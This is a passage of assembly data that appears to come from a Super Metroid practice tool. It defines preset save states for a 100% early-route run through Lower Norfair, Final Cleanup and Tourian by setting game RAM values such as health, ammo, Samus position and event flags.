; MDB dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $017E ; Screen X position in pixels dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0437 ; Health dl $7E09C6 : db $02 : dw $00A5 ; Missiles dl $7E09CA : db $02 : dw $0022 ; Supers dl $7E0AF6 : db $02 : dw $01EB ; Samus X dl $7E0AFA : db $02 : dw $00BB ; Samus Y dl $7ED8BC : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_ridley: dw #preset_100early_lower_norfair_plowerhouse_room ; Lower Norfair: Plowerhouse Room dl $7E078D : db $02 : dw $995A ; DDB dl $7E079B : db $02 : dw $B37A ; MDB dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0434 ; Health dl $7E09CA : db $02 : dw $0021 ; Supers dl $7E0AF6 : db $02 : dw $0039 ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dl $7ED8BA : db $02 : dw $D3F7 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_ridley_escape: dw #preset_100early_lower_norfair_ridley ; Lower Norfair: Ridley dl $7E078D : db $02 : dw $98B2 ; DDB dl $7E079B : db $02 : dw $B698 ; MDB dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $A800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0513 ; Health dl $7E09C4 : db $02 : dw $0513 ; Max helath dl $7E09CA : db $02 : dw $0022 ; Supers dl $7E09CE : db $02 : dw $000E ; Pbs dl $7E0A1C : db $02 : dw $0027 ; Samus position/state dl $7E0A1E : db $02 : dw $0508 ; More position/state dl $7E0AF6 : db $02 : dw $00C9 ; Samus X dl $7E0AFA : db $02 : dw $00B0 ; Samus Y dl $7ED82A : db $02 : dw $0107 ; Events, Items, Doors dl $7ED878 : db $02 : dw $D2DE ; Events, Items, Doors dl $7ED8BA : db $02 : dw $DBF7 ; Events, Items, Doors dl $7ED91A : db $02 : dw $008E ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_wasteland_revisit: dw #preset_100early_lower_norfair_ridley_escape ; Lower Norfair: Ridley Escape dl $7E078D : db $02 : dw $9966 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $B62B ; MDB dl $7E07F3 : db $02 : dw $0018 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8400 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $04F1 ; Health dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02DB ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED8BA : db $02 : dw $DFF7 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_kihunter_shaft_revisit: dw #preset_100early_lower_norfair_wasteland_revisit ; Lower Norfair: Wasteland Revisit dl $7E078D : db $02 : dw $9A3E ; DDB dl $7E079B : db $02 : dw $B5D5 ; MDB dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2FFF ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $04C4 ; Health dl $7E09CE : db $02 : dw $000D ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0590 ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dl $7ED91A : db $02 : dw $008F ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_firefleas_room: dw #preset_100early_lower_norfair_kihunter_shaft_revisit ; Lower Norfair: Kihunter Shaft Revisit dl $7E078D : db $02 : dw $9A26 ; DDB dl $7E079B : db $02 : dw $B585 ; MDB dl $7E090F : db $02 : dw $4180 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001A ; Screen Y position in pixels dl $7E09CE : db $02 : dw $000C ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00B8 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_lower_norfair_springball_maze: dw #preset_100early_lower_norfair_firefleas_room ; Lower Norfair: Firefleas Room dl $7E078D : db $02 : dw $9A02 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $B6EE ; MDB dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001C ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0576 ; Health dl $7E09C4 : db $02 : dw $0577 ; Max helath dl $7E09CA : db $02 : dw $0021 ; Supers dl $7E09CE : db $02 : dw $000D ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $016B ; Samus X dl $7ED87A : db $02 : dw $0001 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0090 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_three_muskateers: dw #preset_100early_lower_norfair_springball_maze ; Lower Norfair: Springball Maze dl $7E078D : db $02 : dw $9A92 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $B510 ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E090F : db $02 : dw $D801 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E09C6 : db $02 : dw $00AA ; Missiles dl $7E09C8 : db $02 : dw $00B9 ; Max missiles dl $7E09CE : db $02 : dw $0012 ; Pbs dl $7E09D0 : db $02 : dw $002D ; Max pbs dl $7E0AF6 : db $02 : dw $0059 ; Samus X dl $7ED878 : db $02 : dw $DEDE ; Events, Items, Doors dl $7ED91A : db $02 : dw $0094 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_bubble_mountain_return: dw #preset_100early_lower_norfair_three_muskateers ; Lower Norfair: Three Muskateers dl $7E078D : db $02 : dw $9A4A ; DDB dl $7E079B : db $02 : dw $AD5E ; MDB dl $7E07F3 : db $02 : dw $0015 ; Music Bank dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E09C2 : db $02 : dw $0571 ; Health dl $7E09C6 : db $02 : dw $00AD ; Missiles dl $7E09C8 : db $02 : dw $00BE ; Max missiles dl $7E0AF6 : db $02 : dw $008F ; Samus X dl $7ED878 : db $02 : dw $FEDE ; Events, Items, Doors dl $7ED91A : db $02 : dw $0095 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_norfair_reserve: dw #preset_100early_lower_norfair_bubble_mountain_return ; Lower Norfair: Bubble Mountain Return dl $7E078D : db $02 : dw $95CA ; DDB dl $7E079B : db $02 : dw $ACB3 ; MDB dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $056F ; Health dl $7E09C6 : db $02 : dw $00AE ; Missiles dl $7E0AF6 : db $02 : dw $003D ; Samus X dl $7ED8BA : db $02 : dw $DFFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0096 ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_bubble_mountain_final: dw #preset_100early_lower_norfair_norfair_reserve ; Lower Norfair: Norfair Reserve dl $7E078D : db $02 : dw $952E ; DDB dl $7E079B : db $02 : dw $AC83 ; MDB dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $00B8 ; Missiles dl $7E09C8 : db $02 : dw $00C8 ; Max missiles dl $7E09D4 : db $02 : dw $0190 ; Max reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $01C1 ; Samus X dl $7ED876 : db $02 : dw $FFFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $009A ; Events, Items, Doors dw #$FFFF .after preset_100early_lower_norfair_business_center_final: dw #preset_100early_lower_norfair_bubble_mountain_final ; Lower Norfair: Bubble Mountain Final dl $7E078D : db $02 : dw $97DA ; DDB dl $7E079B : db $02 : dw $B167 ; MDB dl $7E07C3 : db $02 : dw $860B ; GFX Pointers dl $7E07C5 : db $02 : dw $21C0 ; GFX Pointers dl $7E07C7 : db $02 : dw $C2C0 ; GFX Pointers dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $056A ; Health dl $7E09C6 : db $02 : dw $00BD ; Missiles dl $7E09C8 : db $02 : dw $00CD ; Max missiles dl $7E09CA : db $02 : dw $0022 ; Supers dl $7E09CE : db $02 : dw $0010 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $003F ; Samus X dl $7ED878 : db $02 : dw $FEDF ; Events, Items, Doors dl $7ED91A : db $02 : dw $009B ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_below_spazer: dw #preset_100early_lower_norfair_business_center_final ; Lower Norfair: Business Center Final dl $7E078D : db $02 : dw $A33C ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $CF54 ; MDB dl $7E079F : db $02 : dw $0004 ; Region dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $9C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0577 ; Health dl $7E09D6 : db $02 : dw $00B4 ; Reserves dl $7E0AF6 : db $02 : dw $00CE ; Samus X dw #$FFFF .after preset_100early_final_cleanup_red_tower_xray: dw #preset_100early_final_cleanup_below_spazer ; Final Cleanup: Below Spazer dl $7E078D : db $02 : dw $910E ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A3DD ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $3800 ; Screen subpixel Y position dl $7E0AF6 : db $02 : dw $002E ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dw #$FFFF .after preset_100early_final_cleanup_xray_passage: dw #preset_100early_final_cleanup_red_tower_xray ; Final Cleanup: Red Tower X-Ray dl $7E078D : db $02 : dw $90F6 ; DDB dl $7E079B : db $02 : dw $A253 ; MDB dl $7E090F : db $02 : dw $0FFF ; Screen subpixel X position. dl $7E0913 : db $02 : dw $3400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $061D ; Screen Y position in pixels dl $7E09CE : db $02 : dw $000F ; Pbs dl $7E0AF6 : db $02 : dw $003B ; Samus X dl $7E0AFA : db $02 : dw $068B ; Samus Y dl $7ED8B6 : db $02 : dw $EAF9 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_xray_passage_return: dw #preset_100early_final_cleanup_xray_passage ; Final Cleanup: X-Ray Passage dl $7E078D : db $02 : dw $905A ; DDB dl $7E079B : db $02 : dw $A2CE ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $00F2 ; Screen X position in pixels dl $7E0913 : db $02 : dw $37FF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $F32F ; Equipped Items dl $7E09A4 : db $02 : dw $F32F ; Collected Items dl $7E09CA : db $02 : dw $0021 ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0178 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED874 : db $02 : dw $1FCE ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $EEF9 ; Events, Items, Doors dl $7ED91A : db $02 : dw $009C ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_reverse_slinky: dw #preset_100early_final_cleanup_xray_passage_return ; Final Cleanup: X-Ray Passage Return dl $7E078D : db $02 : dw $902A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9FBA ; MDB dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers dl $7E07F3 : db $02 : dw $000F ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E0911 : db $02 : dw $03D6 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5000 ; Screen subpixel Y position dl $7E09CE : db $02 : dw $000E ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0476 ; Samus X dl $7E0AFA : db $02 : dw $004B ; Samus Y dw #$FFFF .after preset_100early_final_cleanup_retro_brinstar_hoppers: dw #preset_100early_final_cleanup_reverse_slinky ; Final Cleanup: Reverse Slinky dl $7E078D : db $02 : dw $8EFE ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $9E52 ; MDB dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $00DE ; Screen X position in pixels dl $7E0913 : db $02 : dw $0C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0015 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0572 ; Health dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0152 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED91A : db $02 : dw $009D ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_retro_brinstar_etank: dw #preset_100early_final_cleanup_retro_brinstar_hoppers ; Final Cleanup: Retro Brinstar Hoppers dl $7E078D : db $02 : dw $8E86 ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $9E9F ; MDB dl $7E07F3 : db $02 : dw $0009 ; Music Bank dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $058B ; Screen X position in pixels dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0012 ; Pbs dl $7E09D0 : db $02 : dw $0032 ; Max pbs dl $7E0AF6 : db $02 : dw $05EB ; Samus X dl $7E0AFA : db $02 : dw $02BB ; Samus Y dl $7ED872 : db $02 : dw $CFEF ; Events, Items, Doors dl $7ED91A : db $02 : dw $009E ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_boulder_room: dw #preset_100early_final_cleanup_retro_brinstar_etank ; Final Cleanup: Retro Brinstar E-Tank dl $7E078D : db $02 : dw $8ECE ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $9F64 ; MDB dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $05DB ; Health dl $7E09C4 : db $02 : dw $05DB ; Max helath dl $7E09CA : db $02 : dw $0020 ; Supers dl $7E09CE : db $02 : dw $0011 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0259 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED872 : db $02 : dw $EFEF ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $EEFD ; Events, Items, Doors dl $7ED91A : db $02 : dw $00A0 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_leaving_billy_mays: dw #preset_100early_final_cleanup_boulder_room ; Final Cleanup: Boulder Room dl $7E078D : db $02 : dw $8FEE ; DDB dl $7E079B : db $02 : dw $A1D8 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $00C7 ; Missiles dl $7E09C8 : db $02 : dw $00D7 ; Max missiles dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00D6 ; Samus X dl $7ED874 : db $02 : dw $1FFE ; Events, Items, Doors dl $7ED91A : db $02 : dw $00A2 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_retro_brinstar_escape: dw #preset_100early_final_cleanup_leaving_billy_mays ; Final Cleanup: Leaving Billy Mays dl $7E078D : db $02 : dw $8FE2 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $9F64 ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $05D1 ; Health dl $7E09C6 : db $02 : dw $00CC ; Missiles dl $7E09C8 : db $02 : dw $00DC ; Max missiles dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $02D9 ; Samus X dl $7E0AFA : db $02 : dw $02BB ; Samus Y dl $7ED872 : db $02 : dw $FFEF ; Events, Items, Doors dl $7ED91A : db $02 : dw $00A4 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_old_tourian_missiles: dw #preset_100early_final_cleanup_retro_brinstar_escape ; Final Cleanup: Retro Brinstar Escape dl $7E078D : db $02 : dw $8EB6 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $97B5 ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0010 ; Pbs dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0A68 : db $02 : dw $0068 ; Flash suit dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $0088 ; Samus Y dl $7ED91A : db $02 : dw $00A5 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_climb_supers: dw #preset_100early_final_cleanup_old_tourian_missiles ; Final Cleanup: Old Tourian Missiles dl $7E078D : db $02 : dw $8B7A ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $96BA ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $4001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0700 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0598 ; Health dl $7E09C6 : db $02 : dw $00D1 ; Missiles dl $7E09C8 : db $02 : dw $00E1 ; Max missiles dl $7E09CE : db $02 : dw $000F ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0A68 : db $02 : dw $0000 ; Flash suit dl $7E0AF6 : db $02 : dw $02B9 ; Samus X dl $7E0AFA : db $02 : dw $078B ; Samus Y dl $7ED870 : db $02 : dw $E7FF ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $2C09 ; Events, Items, Doors dl $7ED91A : db $02 : dw $00A6 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_parlor_missiles: dw #preset_100early_final_cleanup_climb_supers ; Final Cleanup: Climb Supers dl $7E078D : db $02 : dw $8B3E ; DDB dl $7E079B : db $02 : dw $92FD ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E090F : db $02 : dw $5800 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0314 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $04FE ; Health dl $7E09CA : db $02 : dw $0025 ; Supers dl $7E09CC : db $02 : dw $0032 ; Max supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $012C ; Samus X dl $7E0AFA : db $02 : dw $0398 ; Samus Y dl $7ED870 : db $02 : dw $EFFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $00A7 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_leaving_parlor_missiles: dw #preset_100early_final_cleanup_parlor_missiles ; Final Cleanup: Parlor Missiles dl $7E078D : db $02 : dw $8C82 ; DDB dl $7E079B : db $02 : dw $9A90 ; MDB dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $00D6 ; Missiles dl $7E09C8 : db $02 : dw $00E6 ; Max missiles dl $7E09CE : db $02 : dw $000E ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0056 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED870 : db $02 : dw $FFFF ; Events, Items, Doors dl $7ED91A : db $02 : dw $00A8 ; Events, Items, Doors dw #$FFFF .after preset_100early_final_cleanup_terminator_revisit: dw #preset_100early_final_cleanup_leaving_parlor_missiles ; Final Cleanup: Leaving Parlor Missiles dl $7E078D : db $02 : dw $8C8E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $92FD ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0166 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dw #$FFFF .after preset_100early_tourian_metroids_1: dw #preset_100early_final_cleanup_terminator_revisit ; Final Cleanup: Terminator Revisit dl $7E078D : db $02 : dw $9222 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $DAAE ; MDB dl $7E079F : db $02 : dw $0005 ; Region dl $7E07C3 : db $02 : dw $D414 ; GFX Pointers dl $7E07C5 : db $02 : dw $EDBF ; GFX Pointers dl $7E07C7 : db $02 : dw $C2BA ; GFX Pointers dl $7E07F3 : db $02 : dw $001E ; Music Bank dl $7E090F : db $02 : dw $C001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4FFF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0517 ; Health dl $7E09C6 : db $02 : dw $00D8 ; Missiles dl $7E09CA : db $02 : dw $0024 ; Supers dl $7E0AF6 : db $02 : dw $003E ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED820 : db $02 : dw $3FC1 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $6C09 ; Events, Items, Doors dl $7ED90C : db $02 : dw $0100 ; Events, Items, Doors dl $7ED91A : db $02 : dw $00AB ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_metroids_2: dw #preset_100early_tourian_metroids_1 ; Tourian: Metroids 1 dl $7E078D : db $02 : dw $A984 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $DAE1 ; MDB dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $8800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0549 ; Health dl $7E09C6 : db $02 : dw $00DE ; Missiles dl $7E09CA : db $02 : dw $0025 ; Supers dl $7E09CE : db $02 : dw $0010 ; Pbs dl $7E0AF6 : db $02 : dw $003A ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED822 : db $02 : dw $0021 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_metroids_3: dw #preset_100early_tourian_metroids_2 ; Tourian: Metroids 2 dl $7E078D : db $02 : dw $A9B4 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $DB31 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $00F2 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0567 ; Health dl $7E09C6 : db $02 : dw $00E2 ; Missiles dl $7E09CA : db $02 : dw $0027 ; Supers dl $7E09CE : db $02 : dw $0012 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00CA ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED822 : db $02 : dw $0023 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0003 ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_metroids_4: dw #preset_100early_tourian_metroids_3 ; Tourian: Metroids 3 dl $7E078D : db $02 : dw $A9CC ; DDB dl $7E079B : db $02 : dw $DB7D ; MDB dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $05CF ; Health dl $7E09C6 : db $02 : dw $00E6 ; Missiles dl $7E09CE : db $02 : dw $0015 ; Pbs dl $7E0AF6 : db $02 : dw $05B0 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED822 : db $02 : dw $0027 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0007 ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_baby_skip: dw #preset_100early_tourian_metroids_4 ; Tourian: Metroids 4 dl $7E078D : db $02 : dw $AA14 ; DDB dl 